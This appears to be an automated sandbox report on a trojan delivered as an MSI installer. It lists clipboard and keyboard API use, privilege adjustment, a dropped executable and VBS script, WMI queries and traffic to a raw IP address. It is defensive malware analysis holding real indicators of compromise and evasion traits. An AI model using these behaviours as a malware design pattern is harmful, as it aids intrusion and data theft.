Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.111.138.100

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0037550C InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

3_2_0037550C

Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: http://ip-score.com/checkip/

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_00377099 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

3_2_00377099

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00377294 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		3_2_00377294
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_00107294 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		8_2_00107294

Source: C:\Windows\Installer\MSI4976.tmp

3_2_00377099

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_00364342 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

3_2_00364342

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038F5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		3_2_0038F5D0
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011F5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		8_2_0011F5D0

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_003229C2 NtdllDefWindowProc_W,KillTimer,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,PostQuitMessage,SetFocus,MoveWindow,	3_2_003229C2
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_003902AA NtdllDialogWndProc_W,	3_2_003902AA
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038E769 NtdllDialogWndProc_W,CallWindowProcW,	3_2_0038E769
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038EA4E NtdllDialogWndProc_W,	3_2_0038EA4E
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038EAA6 ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,	3_2_0038EAA6
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038ECBC PostMessageW,GetFocus,GetDlgCtrlID,_memset,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W,	3_2_0038ECBC
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0033AC99 NtdllDialogWndProc_W,	3_2_0033AC99
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0033AD5C NtdllDialogWndProc_W,74BFC8D0,NtdllDialogWndProc_W,	3_2_0033AD5C
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0033AFB4 GetParent,NtdllDialogWndProc_W,	3_2_0033AFB4
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038EFA8 GetCursorPos,TrackPopupMenuEx,GetCursorPos,NtdllDialogWndProc_W,	3_2_0038EFA8
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038F0A1 SendMessageW,NtdllDialogWndProc_W,	3_2_0038F0A1
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038F122 DragQueryPoint,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,	3_2_0038F122
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038F37C NtdllDialogWndProc_W,	3_2_0038F37C
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038F3AB NtdllDialogWndProc_W,	3_2_0038F3AB
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038F3DA NtdllDialogWndProc_W,	3_2_0038F3DA
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038F425 NtdllDialogWndProc_W,	3_2_0038F425
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038F45A ClientToScreen,NtdllDialogWndProc_W,	3_2_0038F45A
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038F594 GetWindowLongW,NtdllDialogWndProc_W,	3_2_0038F594
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038F5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	3_2_0038F5D0
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0033B7F2 NtdllDialogWndProc_W,	3_2_0033B7F2
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0033B845 NtdllDialogWndProc_W,	3_2_0033B845
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038FE80 NtdllDialogWndProc_W,	3_2_0038FE80
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038FF04 GetClientRect,GetCursorPos,ScreenToClient,NtdllDialogWndProc_W,	3_2_0038FF04
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038FF91 GetSystemMetrics,MoveWindow,SendMessageW,InvalidateRect,SendMessageW,ShowWindow,NtdllDialogWndProc_W,	3_2_0038FF91
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000B29C2 NtdllDefWindowProc_W,KillTimer,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,PostQuitMessage,SetFocus,MoveWindow,	8_2_000B29C2
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_001202AA NtdllDialogWndProc_W,	8_2_001202AA
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011E769 NtdllDialogWndProc_W,CallWindowProcW,	8_2_0011E769
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011EA4E NtdllDialogWndProc_W,	8_2_0011EA4E
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011EAA6 ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,	8_2_0011EAA6
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000CAC99 NtdllDialogWndProc_W,	8_2_000CAC99
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011ECBC PostMessageW,GetFocus,GetDlgCtrlID,_memset,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W,	8_2_0011ECBC
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000CAD5C NtdllDialogWndProc_W,74BFC8D0,NtdllDialogWndProc_W,	8_2_000CAD5C
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000CAFB4 GetParent,NtdllDialogWndProc_W,	8_2_000CAFB4
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011EFA8 GetCursorPos,TrackPopupMenuEx,GetCursorPos,NtdllDialogWndProc_W,	8_2_0011EFA8
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011F0A1 SendMessageW,NtdllDialogWndProc_W,	8_2_0011F0A1
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011F122 DragQueryPoint,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,	8_2_0011F122
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011F37C NtdllDialogWndProc_W,	8_2_0011F37C
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011F3AB NtdllDialogWndProc_W,	8_2_0011F3AB
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011F3DA NtdllDialogWndProc_W,	8_2_0011F3DA
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011F425 NtdllDialogWndProc_W,	8_2_0011F425
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011F45A ClientToScreen,NtdllDialogWndProc_W,	8_2_0011F45A
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011F594 GetWindowLongW,NtdllDialogWndProc_W,	8_2_0011F594
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011F5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	8_2_0011F5D0
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000CB7F2 NtdllDialogWndProc_W,	8_2_000CB7F2
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000CB845 NtdllDialogWndProc_W,	8_2_000CB845
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011FE80 NtdllDialogWndProc_W,	8_2_0011FE80
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011FF04 GetClientRect,GetCursorPos,ScreenToClient,NtdllDialogWndProc_W,	8_2_0011FF04
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011FF91 GetSystemMetrics,MoveWindow,SendMessageW,InvalidateRect,SendMessageW,ShowWindow,NtdllDialogWndProc_W,	8_2_0011FF91

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0036702F: CreateFileW,DeviceIoControl,CloseHandle,

3_2_0036702F

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0035B9F1 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,74285590,CreateProcessAsUserW,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,

3_2_0035B9F1

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_003682D0 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		3_2_003682D0
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000F82D0 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		8_2_000F82D0

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\6e47fe.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{29EF7317-DCA1-4159-97B2-C883AD400AC6}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4908.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4976.tmp	Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_003830AD	3_2_003830AD
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00333680	3_2_00333680
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0032DCD0	3_2_0032DCD0
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0032A0C0	3_2_0032A0C0
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00332191	3_2_00332191
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00340183	3_2_00340183
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0036220C	3_2_0036220C
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00328530	3_2_00328530
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00326670	3_2_00326670
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00340677	3_2_00340677
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038A8DC	3_2_0038A8DC
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00340A8F	3_2_00340A8F
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00326BBC	3_2_00326BBC
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0034AC83	3_2_0034AC83
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0033AD5C	3_2_0033AD5C
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00354EBF	3_2_00354EBF
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00340EC4	3_2_00340EC4
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0035113E	3_2_0035113E
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_003412F9	3_2_003412F9
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0035542F	3_2_0035542F
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0038F5D0	3_2_0038F5D0
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0035599F	3_2_0035599F
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00325D32	3_2_00325D32
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0032BDF0	3_2_0032BDF0
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0034BDF6	3_2_0034BDF6
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00341E5A	3_2_00341E5A
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00329EC9	3_2_00329EC9
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0034DF69	3_2_0034DF69
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0036BFB8	3_2_0036BFB8
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_00357FFD	3_2_00357FFD
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000BDCD0	8_2_000BDCD0
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000BA0C0	8_2_000BA0C0
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000D0183	8_2_000D0183
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000F220C	8_2_000F220C
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000B8530	8_2_000B8530
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000D0677	8_2_000D0677
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000B6670	8_2_000B6670
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011A8DC	8_2_0011A8DC
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000D0A8F	8_2_000D0A8F
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000B6BBC	8_2_000B6BBC
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000DAC83	8_2_000DAC83
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000CAD5C	8_2_000CAD5C
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000E4EBF	8_2_000E4EBF
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000D0EC4	8_2_000D0EC4
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_001130AD	8_2_001130AD
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000E113E	8_2_000E113E
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000D12F9	8_2_000D12F9
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000E542F	8_2_000E542F
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_0011F5D0	8_2_0011F5D0
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000C3680	8_2_000C3680
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000E599F	8_2_000E599F
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000B5D32	8_2_000B5D32
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000DBDF6	8_2_000DBDF6
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000BBDF0	8_2_000BBDF0
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000D1E5A	8_2_000D1E5A
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000DDF69	8_2_000DDF69
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000FBFB8	8_2_000FBFB8
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000E7FFD	8_2_000E7FFD

Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: String function: 000D7750 appears 42 times
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: String function: 000CF885 appears 68 times
Source: C:\Windows\Installer\MSI4976.tmp	Code function: String function: 00347750 appears 42 times
Source: C:\Windows\Installer\MSI4976.tmp	Code function: String function: 0033F885 appears 68 times

Source: classification engine

Classification label: mal100.troj.evad.winMSI@17/14@0/1

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0036D712 GetLastError,FormatMessageW,

3_2_0036D712

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0035B8B0 AdjustTokenPrivileges,CloseHandle,	3_2_0035B8B0
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_0035BEC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	3_2_0035BEC3
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000EB8B0 AdjustTokenPrivileges,CloseHandle,	8_2_000EB8B0
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_000EBEC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	8_2_000EBEC3

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0036EA85 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

3_2_0036EA85

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_00366F5B CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

3_2_00366F5B

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0036EFCD CoInitialize,CoCreateInstance,CoUninitialize,

3_2_0036EFCD

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_003231F2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

3_2_003231F2

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CML4966.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7820:120:WilError_03

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DFF2FF7337FADF7859.TMP

Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp

Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs

Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like 'MSI4976.tmp'
